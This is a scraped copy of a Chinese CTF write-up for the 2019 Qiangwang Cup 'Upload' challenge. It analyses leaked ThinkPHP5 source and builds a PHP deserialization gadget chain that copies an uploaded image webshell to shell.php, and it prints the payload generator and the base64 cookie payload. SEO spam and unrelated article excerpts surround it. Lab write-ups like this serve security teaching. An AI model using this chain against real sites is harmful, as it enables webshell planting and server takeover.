做网站好赚钱开拼多多网店怎么开需要多少钱

web/2025/9/27 3:10:01/文章来源:
做网站好赚钱,开拼多多网店怎么开需要多少钱,建网上商城的第三方网站哪个好,网站图片如何做超链接[强网杯 2019]Upload 开放注册直接注册一个账号然后登录进去 先对页面进行简单文件上传测试发现都不存在漏洞对网站进行目录扫描 发现www.tar.gz 打开发现是tp5框架发现源码 这里如果前面信息收集的完整会发现存在反序列化 对注册#xff0c;登录#xff0c;上传文件页面分…[强网杯 2019]Upload 开放注册直接注册一个账号然后登录进去 先对页面进行简单文件上传测试发现都不存在漏洞对网站进行目录扫描 发现www.tar.gz 打开发现是tp5框架发现源码 这里如果前面信息收集的完整会发现存在反序列化 对注册登录上传文件页面分析 分析一下源码可以确定是反序列化 app\web\controller\Profilepublic function __get($name){return $this-except[$name];}public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}app\web\controller\Registerpublic function __destruct(){if(!$this-registed){$this-checker-index();}} 魔术方法就这几个继续分析寻找可以利用的漏洞 Register主要注册用户没有什么可以利用的地方 ?php namespace app\web\controller;use think\Controller;class Profile extends Controller {public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __construct(){ $this-checkernew Index();$this-upload_menumd5($_SERVER[REMOTE_ADDR]);chdir(../public/upload);if(!is_dir($this-upload_menu)){mkdir($this-upload_menu);}chdir($this-upload_menu);}public function upload_img(){if($this-checker){if(!$this-checker-login_check()){$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./index;$this-redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this-filename_tmp$_FILES[upload_file][tmp_name];$this-filenamemd5($_FILES[upload_file][name])..png;$this-ext_check();}if($this-ext) {if(getimagesize($this-filename_tmp)) {copy($this-filename_tmp, $this-filename);unlink($this-filename_tmp);$this-img../upload/$this-upload_menu/$this-filename;$this-update_img();}else{$this-error(Forbidden type!, url(../index));}}else{$this-error(Unknow file type!, url(../index));}}public function update_img(){$user_infodb(user)-where(ID,$this-checker-profile[ID])-find();if(empty($user_info[img]) $this-img){if(db(user)-where(ID,$user_info[ID])-data([imgaddslashes($this-img)])-update()){$this-update_cookie();$this-success(Upload img successful!, url(../home));}else{$this-error(Upload file failed!, url(../index));}}}public function update_cookie(){$this-checker-profile[img]$this-img;cookie(user,base64_encode(serialize($this-checker-profile)),3600);}public function ext_check(){$ext_arrexplode(.,$this-filename);$this-extend($ext_arr);if($this-extpng){return 1;}else{return 0;}}public function __get($name){return $this-except[$name];}public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}} 在profile中会对上传上来的文件存放在临时目录并将传入的文件名通过md5加密返回新的文件名 通过ext_check判断后缀名是不是png判断成功后把临时文件复制到目标目录下并删除临时目录 if($this-ext) {if(getimagesize($this-filename_tmp)) {copy($this-filename_tmp, $this-filename);unlink($this-filename_tmp);$this-img../upload/$this-upload_menu/$this-filename;$this-update_img();}else{$this-error(Forbidden type!, url(../index));}}else{$this-error(Unknow file type!, url(../index));}} 重点在于上面这一段会复制this-filename_tmp到this-filename如果我们能控制this-filename_tmp为上传后的png木马文件同时控制this-filename为php后缀文件这里没有对this-filename_tmp和this-filename的值做判断 思路从Register.php中的__destruct() 这里要设置registed的值为0会 $this-checker-index() 这里我们可以把checker的值设置new Profile那就会变成调用Profile类中的index方法 但是Profile中没有index方法就会触发call public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}} 这里就会变成this-index但是没有index这个属性就会触发get public function __get($name){return $this-except[$name];} 这里except的参数可控我们让他成为键值的方式最总我们要构造成upload_img方法,键为传入的index值为upload_img那返回给call就是this-upload_img()进入upload_img方法后我们要设置checker的值为0当值为0经过if($this-checker)时不进行判断然后设置ext为1进行复制文件的操作 先上传文件 得到上传后的目录 ?php namespace app\web\controller; class Profile{public $checker 0 ;public $filename_tmp ./upload/1ca3561b92a37e6a85619366d3586b6b/00bf23e130fa1e525e332ff03dae345d.png;public $filename ./upload/shell.php;public $ext 1 ;public $except array(indexupload_img);} class Register{public $checker;public $registed 0; } $a new Register(); $a-checker new Profile(); echo base64_encode(serialize($a));? TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzFjYTM1NjFiOTJhMzdlNmE4NTYxOTM2NmQzNTg2YjZiLzAwYmYyM2UxMzBmYTFlNTI1ZTMzMmZmMDNkYWUzNDVkLnBuZyI7czo4OiJmaWxlbmFtZSI7czoxODoiLi91cGxvYWQvc2hlbGwucGhwIjtzOjM6ImV4dCI7aToxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30替换cookie访问修改过的页面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81300.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站建设 北京有什么公司建网站

文章目录 一、使用Zookeeper的意义二、Zookeeper基础1 文件系统2 通知机制3 原生zkclient API存在的问题4 服务配置中心Zookeeper模块 三、Zk类实现Start方法创建节点、get节点值方法 四、框架应用rpc提供端框架rpc调用端(客户端)框架 总结 一、使用Zook…

消息提示怎么做网站北京装修公司电话名单

渐渐褪色的彩虹 好像一个梦 ——初梦 好像从来没写过游记呢...就权当记流水账随便写一些吧 11.10 Day 0 期待又紧张, 像以前一样坐高铁, 车上打了打几个板子,抵达广州, 时间过的真快啊... 到达酒店, 这也许又(?)是我…

网站备案填写网站名称深圳做装修网站费用多少钱

作者:CSDN @ _养乐多_ 在 Google Earth Engine(GEE) 中应用机器学习分类器进行多分类时,有一个需求是想知道每个像素对于每个类别的分类概率。 比如在进行随机森林分类时,每个决策树会生成一个类别,通过投票选择票数最多的类别作为最终分类。除了最终分类结果,其他类别…

建网站的公司德阳建网站的公司做端口映射 怎么访问网站

Q起源Kx systems公司的创始人之一Arthur Whitney在2003年研发了列式数据库KDB和它的操作语言q。q也可以写成Q。设计之初,q语言要做到简洁,高效和富表达性。 q的起源受到多种语言的启示。包括APL、LISP和函数式编程。 APL是一个向量语言,所以…

江西省网站建设简单html网页制作

Docker 容器虚拟化核心技术docker生态、架构及组成部分容器编排详解核心原理实现 我目前就来学学基本知识。 八大架构的演进 文章目录 Docker八大架构的演进1. 单机架构2. 应用数据分离架构3. 应用服务集群架构4. 读写分离/主从分离架构5. 冷热分离架构6. 垂直分库架构/分布…

十堰北京网站建设网站的制作流程

虽然从标题上看,这篇文章是写给“技术人”的,但 从广义上来说,只要你是一位以理性见长的人,那么这篇文章要讲的东西可能会与你有关。 虽然从标题上看,这篇文章是写给“技术人”的,但 从广义上来说&#xff…

短视频素材下载网站七台河新闻联播2021

JFrog Artifactory是一个artifacts仓库管理平台,它支持所有的主流打包格式、构建工具和持续集成(CI)服务器。它将所有二进制内容保存在一个单一位置并提供一个接口,这使得用户在整个应用程序开发和交付过程中,能更易于…

合江网站建设高仿id97网站模板

题目描述: 某公司员工食堂以盒饭方式供餐。为将员工取餐排队时间降低为0,食堂的供餐速度必须要足够快。现在需要根据以往员工取餐的统计信息,计算出一个刚好能达成排队时间为0的最低供餐速度。即,食堂在每个单位时间内必须至少做出…

网站响应式建设网络推广方案联系昔年下拉

目录 前言: 题目:剑指 Offer 03. 数组中重复的数字 - 力扣(LeetCode) 题目的接口: 解题思路: 代码: 过啦!!! 写在最后: 前言: …

宁波网站搭建微信商城购物有保障吗

搜集日志;日志处理器;索引平台;提供视图化界面;客户端登录 日志收集者:负责监控微服务的日志,并记录 日志存储者:接收日志,写入 日志harbor:负责去连接多个日志收集者&am…

网站 视觉冲击东莞网站竞价推广

第六节:FastAPI和SQLALchemy的整合 一、ORM的查询操作 # 查找某个模型对应的那个表中所有的数据:all_person session.query(Person).all()# 使用filter_by来做条件查询all_person session.query(Person).filter_by(namemomo1).all()# 使用filter来做条…

iis网站架设教程做网站和开发app有什么不同

一.网络编程的基本术语. 客户端 客户端是为用户提供本地服务的程序,通常位于用户设备上。也称为用户端,是相对于服务器而言的。它主要指安装在用户设备上的程序,这些程序能够与服务器进行通信,从而获取服务或者执行特定功能。在…

新浦网站制作做赚钱的网站有哪些

戳蓝字“CSDN云计算”关注我们哦! 作者:侯振宇转自:五分钟学算法01 目的 持续做算法题的目的仍然是自身能力提升。可以继续细化成三点:保持思维敏捷。非常重要,状态好才能保持对编程的热情。对基础的数据结构、查找和排序保持熟练…

用html做网站步骤安阳网站优化公司推荐

一、什么是 ThreadLocal ThreadLocal 提供了线程的局部变量,每个线程都可以通过 set() 和 get() 来对这个局部变量进行操作,但不会和其他线程的局部变量冲突,实现了线程间的据隔离。 简单讲:一个获取用户的请求线程 A,…

网站设计 收费网站图片素材下载

RabbitMQ RabbitMQ是一个开源的消息队列中间件,它实现了高效、可靠的消息传递机制。它支持多种消息传递模式,如发布/订阅、点对点、请求/回应等。RabbitMQ以其可靠性、灵活性和易用性受到广泛的关注和应用。 RabbitMQ基于AMQP(Advanced Mess…

织梦网站被挂马怎么处理申请免费个人网站

转载http://hi.baidu.com/ddumy/blog/item/d96b361901776e7ddab4bdd6.html固定资产减值准备与累计折旧会计核算的关系【摘 要】 固定资产减值准备与累计折旧是固定资产核算的重要组成部分,又都是“固定资产”的备抵项目,它们共同反映着固定资产的现时价值…

可以直接进入网站的代码网站前台用什么做

云计算参考架构: 上图阐释如何创建私有和混合云,最终用户可以自行提供计算、 存储和网络。许多大型组织开始创建内部的私有云,来增强其数据中心战略。 58同城的云架构: 百度社区的云架构 结合对弹性服务的理解,第一个是弹性伸缩,你…

制作网站语言wordpress汉化手机版

学习目标: 联邦学习目前面临的挑战以及解决方案 学习内容: 联邦学习是一种新兴的人工智能基础技术,它在保障大数据交换时的信息安全、保护终端数据和个人数据隐私、保证合法合规的前提下,在多参与方或多计算结点之间开展高效率的…

网站打不开怎么解决网站域名注册信息

Tomcat调优原理: 1、增加最大连接数(增大值避免队列请求过多,导致响应缓慢) 2、调整工作模式 Bio(BlockingI/O):默认工作模式,阻塞式I/O操作,没有任何优化技术处理,性能比较低。Nio(…

曲靖模板网站建设企业官网流程

光模块(optical module)由光电子器件、功能电路和光接口等组成,光电子器件包括发射和接收两部分。光模块主要应用在光通信、数据中心等地方的。那么,光模块到底是什么呢?光模块有什么用呢?接下来我们就跟随飞畅科技的小编一起来详…